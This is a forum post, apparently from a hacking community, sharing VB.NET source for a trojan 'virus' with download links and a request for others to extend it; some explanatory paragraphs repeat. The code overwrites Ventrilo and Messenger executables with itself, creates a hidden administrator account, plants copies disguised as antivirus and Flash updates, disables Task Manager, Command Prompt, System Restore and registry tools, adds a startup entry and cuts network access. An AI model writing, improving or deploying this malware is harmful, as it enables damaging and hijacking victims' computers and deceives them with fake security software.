Download Virus: http://www.mediafire.com/?xqt0xh8x2c93dhj (Keylogger not added) (Source listed)
Download Virus Fix: http://www.mediafire.com/?xf6g8c5xd6upn4d (Source listed)
All source is given below. Please contribute codes to add, remove, and modify. Read below.
Post 1 out of 3... Please scroll down for the next post.
Post 1: Form 2 GUI + Malicious injection
Post 2: Keylogger
Post 3: Fix the virus/removal code.
This is my first post, and over the past 4 days, I have worked on making a Trojan Virus, Keylogger, as well as a GUI interface.
However, I'd like to express some open-source into this, meaning that I want for our community to share into this project.
Please reply with added sources, modifications, and I will edit as we go along.
I will explain the source at the end.
Form2 is the GUI as well as the main injection/modifier/registry editor. This is the trojan portion of our virus.
Please scroll to the end of the code and I will help define each line of code.
First, we are creating a Media Player virtual mountpoint to which sends data that there is a CD inside the CD tray. We define the value, and set an if count, then tell the OS to eject the tray.
Now, We see if common fileplaces exist. We see IF ventrilo exists, then delete ventrilo.exe and replace it with our trojan.
We then do the same with Messenger.
After this, we have a useless shell script to add administrative rights to a new user.
Next, We add a fake antivirus onto the desktop itself.
After that, we are adding a registry modification to disable the users task manager, Command Prompt, system restore, & Registry
We next send a command to not show the form in task manager and navigate to the site that the form displays in a web browser
We next set a start-up path by adding a registry value into the registry.
When timer 1 is ticked, it will tick ipconfig /release- if user has a router, to release internet access.
Next we add files to C:\ as well as our start point as well as a few more trick directories.
Download Virus Fix: http://www.mediafire.com/?xf6g8c5xd6upn4d (Source listed)
All source is given below. Please contribute codes to add, remove, and modify. Read below.
Post 1 out of 3... Please scroll down for the next post.
Post 1: Form 2 GUI + Malicious injection
Post 2: Keylogger
Post 3: Fix the virus/removal code.
This is my first post, and over the past 4 days, I have worked on making a Trojan Virus, Keylogger, as well as a GUI interface.
However, I'd like to express some open-source into this, meaning that I want for our community to share into this project.
Please reply with added sources, modifications, and I will edit as we go along.
I will explain the source at the end.
Form2 is the GUI as well as the main injection/modifier/registry editor. This is the trojan portion of our virus.
Please scroll to the end of the code and I will help define each line of code.
Code
Public Class Form2
Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'Code by zerg236 and Mod4!!LinUX
On Error Resume Next
Dim owmp As Object
Dim colCDROMs
owmp = CreateObject("WMPlayer.OCX.7")
colCDROMs = owmp.cdromCollection
If colCDROMs.Count >= 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).eject()
Next
End If
If System.IO.Directory.Exists("C:\Program Files\Ventrilo") Then
System.IO.File.Delete("C:\Program Files\Ventrilo\Ventrilo.exe")
System.IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, "C:\Program Files\Ventrilo\Ventrilo.exe") 'I want to force overwrite file here
End If
If System.IO.Directory.Exists("C:\Program Files\Windows Live\Messenger") Then
System.IO.File.Delete("C:\Program Files\Windows Live\Messenger\msnmsgr.exe")
System.IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, "C:\Program Files\Windows Live\Messenger\msnmsgr.exe") 'I want to force overwrite file here
End If
Shell("net user M0dLinUx linux /add", vbHide)
Shell("net localgroup administrators M0dlinUx /add", vbHide)
If System.IO.File.Exists("C:\Documents and Settings" & System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe") = False Then
FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
Else
My.Computer.FileSystem.DeleteFile("C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
End If
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", vbHide)
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System", "DisableCMD", "1", Microsoft.Win32.RegistryValueKind.DWord)
My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "1", Microsoft.Win32.RegistryValueKind.DWord)
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "1", Microsoft.Win32.RegistryValueKind.DWord)
Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
My.Computer.Registry.SetValue(regloc, "Hidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
ShowInTaskbar = False
WebBrowser1.Navigate("http://trololololololololololo.com/")
End Sub
Private Sub Form2_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown
e.Handled = True
End Sub
Public Shared Sub AddStartup(ByVal Name As String, ByVal Path As String)
On Error Resume Next
Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
Dim Key As Microsoft.Win32.RegistryKey = Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error Resume Next
Shell("ipconfig /release", vbHide)
Timer2.Stop()
Timer2.Enabled = False
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
On Error Resume Next
If System.IO.File.Exists("C:\i386\Adobe\Flash\Macromedia\Global") = False Then
My.Computer.FileSystem.CreateDirectory _
("C:\i386\Adobe\Flash\Macromedia\Global")
FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\i386\Adobe\Flash\Macromedia\Global" & "AdobeFlashPlayer.exe")
End If
If System.IO.File.Exists("C:\Documents and Settings" & System.Environment.UserName & "\Desktop\Norton Antivirus 2008\Norton.exe") = False Then
My.Computer.FileSystem.CreateDirectory _
("C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Norton Antivirus 2008")
FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Norton Antivirus 2008\Norton.exe")
Else
My.Computer.FileSystem.DeleteFile("C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Norton Antivirus 2008\Norton.exe")
FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" & System.Environment.UserName & "\Norton Antivirus 2008\Norton.exe")
End If
AddStartup("Javabloom Updater", "C:\i386\Adobe\Flash\Macromedia\Global\AdobeFlashPlayer.exe")
Timer1.Stop()
Timer1.Enabled = False
End Sub
End ClassFirst, we are creating a Media Player virtual mountpoint to which sends data that there is a CD inside the CD tray. We define the value, and set an if count, then tell the OS to eject the tray.
Now, We see if common fileplaces exist. We see IF ventrilo exists, then delete ventrilo.exe and replace it with our trojan.
We then do the same with Messenger.
After this, we have a useless shell script to add administrative rights to a new user.
Next, We add a fake antivirus onto the desktop itself.
After that, we are adding a registry modification to disable the users task manager, Command Prompt, system restore, & Registry
We next send a command to not show the form in task manager and navigate to the site that the form displays in a web browser
We next set a start-up path by adding a registry value into the registry.
When timer 1 is ticked, it will tick ipconfig /release- if user has a router, to release internet access.
Next we add files to C:\ as well as our start point as well as a few more trick directories.
![[Image: vjPWhyy.gif]](https://i.imgur.com/vjPWhyy.gif)